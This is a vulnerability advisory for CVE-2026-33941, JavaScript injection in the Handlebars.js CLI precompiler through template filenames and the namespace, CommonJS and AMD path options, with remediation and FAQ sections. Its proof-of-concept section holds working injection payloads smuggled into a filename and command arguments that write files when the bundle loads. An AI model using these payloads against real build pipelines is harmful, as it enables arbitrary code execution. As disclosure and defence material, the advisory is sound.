CVE-2026-33941: Handlebars.js has JavaScript Injection in CLI Precompiler via Unescaped Names and Options
Summary
The Handlebars CLI precompiler (bin/handlebars / lib/precompiler.js) concatenates user-controlled strings — template file names and several CLI options — directly into the JavaScript it emits, without any escaping or sanitization. An attacker who can influence template filenames or CLI arguments can inject arbitrary JavaScript that executes when the generated bundle is loaded in Node.js or a browser.
Description
lib/precompiler.js generates JavaScript source by string-interpolating several values directly into the output. Four distinct injection points exist:
1. Template name injection
javascript // Vulnerable code pattern output += 'templates["' + template.name + '"] = template(...)';
template.name is derived from the file system path. A filename containing " or ']; breaks out of the string literal and injects arbitrary JavaScript.
2. Namespace injection (-n / --namespace)
javascript // Vulnerable code pattern output += 'var templates = ' + opts.namespace + ' = ' + opts.namespace + ' || {};';
opts.namespace is emitted as raw JavaScript. Anything after a ; in the value becomes an additional JavaScript statement.
3. CommonJS path injection (-c / --commonjs)
javascript // Vulnerable code pattern output += 'var Handlebars = require("' + opts.commonjs + '");';
opts.commonjs is interpolated inside double quotes with no escaping, allowing " to close the string and inject further code.
4. AMD path injection (-h / --handlebarPath)
javascript // Vulnerable code pattern output += "define(['" + opts.handlebarPath + "handlebars.runtime'], ...)";
opts.handlebarPath is interpolated inside single quotes, allowing ' to close the array element.
All four injection points result in code that executes when the generated bundle is require()d or loaded in a browser.
Proof of Concept
Template name vector (creates a file pwned on disk):
bash mkdir -p templates printf 'Hello' > "templates/evil'] = (function(){require(\"fs\").writeFileSync(\"pwned\",\"1\")})(); //.handlebars"
node bin/handlebars templates -o out.js node -e 'require("./out.js")' # Executes injected code, creates ./pwned
Namespace vector:
bash node bin/handlebars templates -o out.js \ -n "App.ns; require('fs').writeFileSync('pwned2','1'); //" node -e 'require("./out.js")'
CommonJS vector:
bash node bin/handlebars templates -o out.js \ -c 'handlebars"); require("fs").writeFileSync("pwned3","1"); //' node -e 'require("./out.js")'
AMD vector:
bash node bin/handlebars templates -o out.js -a \ -h "'); require('fs').writeFileSync('pwned4','1'); // " node -e 'require("./out.js")'
Workarounds
- Validate all CLI inputs before invoking the precompiler. Reject filenames and option values that contain characters with JavaScript string-escaping significance (", ', ;, etc.). - Use a fixed, trusted namespace string passed via a configuration file rather than command-line arguments in automated pipelines. - Run the precompiler in a sandboxed environment (container with no write access to sensitive paths) to limit the impact of successful exploitation. - Audit template filenames in any repository or package that is consumed by an automated build pipeline.
Other sources
Handlebars provides the power necessary to let users build semantic templates. In versions 4.0.0 through 4.7.8, the Handlebars CLI precompiler (bin/handlebars / lib/precompiler.js) concatenates user-controlled strings — template file names and several CLI options — directly into the JavaScript it emits, without any escaping or sanitization. An attacker who can influence template filenames or CLI arguments can inject arbitrary JavaScript that executes when the generated bundle is loaded in Node.js or a browser. Version 4.7.9 fixes the issue. Some workarounds are available. First, validate all CLI inputs before invoking the precompiler. Reject filenames and option values that contain characters with JavaScript string-escaping significance (", ', ;, etc.). Second, use a fixed, trusted namespace string passed via a configuration file rather than command-line arguments in automated pipelines. Third, run the precompiler in a sandboxed environment (container with no write access to sensitive paths) to limit the impact of successful exploitation. Fourth, audit template filenames in any repository or package that is consumed by an automated build pipeline.
— MITRE
Affected Software
Remediation
Recommended actions to resolve this vulnerability, in priority order.
- Upgrade
Upgrade
npm/handlebarsto a version that resolves this vulnerability.Fixed in 4.7.9 - Upgrade
Upgrade to a fixed release to a version that resolves this vulnerability.
Fixed in 4.7.9 - Configuration
Before invoking the Handlebars CLI precompiler, validate all CLI inputs used for -c/--commonjs, -h/--handlebarPath, -n/--namespace, and template filenames; reject inputs containing characters with JavaScript string-escaping significance such as ", ', and ;.
Handlebars CLI precompiler (bin/handlebars / lib/precompiler.js) CommonJS path injection inputs (-c / --commonjs) = Reject/validate values containing characters with JavaScript string-escaping significance (e.g., ", ', ;). - Configuration
In automated build pipelines, pass a fixed, trusted namespace value via a configuration file rather than via -n/--namespace command-line arguments.
Handlebars CLI precompiler (bin/handlebars / lib/precompiler.js) Namespace injection (-n / --namespace) = Use a fixed, trusted namespace string from a configuration file instead of passing via command-line arguments. - Configuration
Audit template filenames in any repository or package that is consumed by an automated build pipeline to ensure filenames do not contain characters that could break out of JavaScript string literals.
Handlebars CLI precompiler (bin/handlebars / lib/precompiler.js) Template name injection (template filenames) = Audit template filenames in consumed repositories/packages. - Compensating control
Run the Handlebars CLI precompiler in a sandboxed environment (e.g., a container with no write access to sensitive paths) to limit impact if exploitation succeeds.
Event History
Frequently Asked Questions
What is the severity of CVE-2026-33941?
The severity of CVE-2026-33941 is classified as a high risk due to the potential for code injection vulnerabilities.
How do I fix CVE-2026-33941?
To fix CVE-2026-33941, you should upgrade your Handlebars package to version 4.7.9 or later.
What systems are affected by CVE-2026-33941?
CVE-2026-33941 affects versions of Handlebars from 4.0.0 to 4.7.8.
What are the risks of CVE-2026-33941?
The risks associated with CVE-2026-33941 include arbitrary code execution if an attacker can influence template filenames.
Is my application vulnerable to CVE-2026-33941?
Your application is vulnerable to CVE-2026-33941 if it uses Handlebars versions between 4.0.0 and 4.7.8.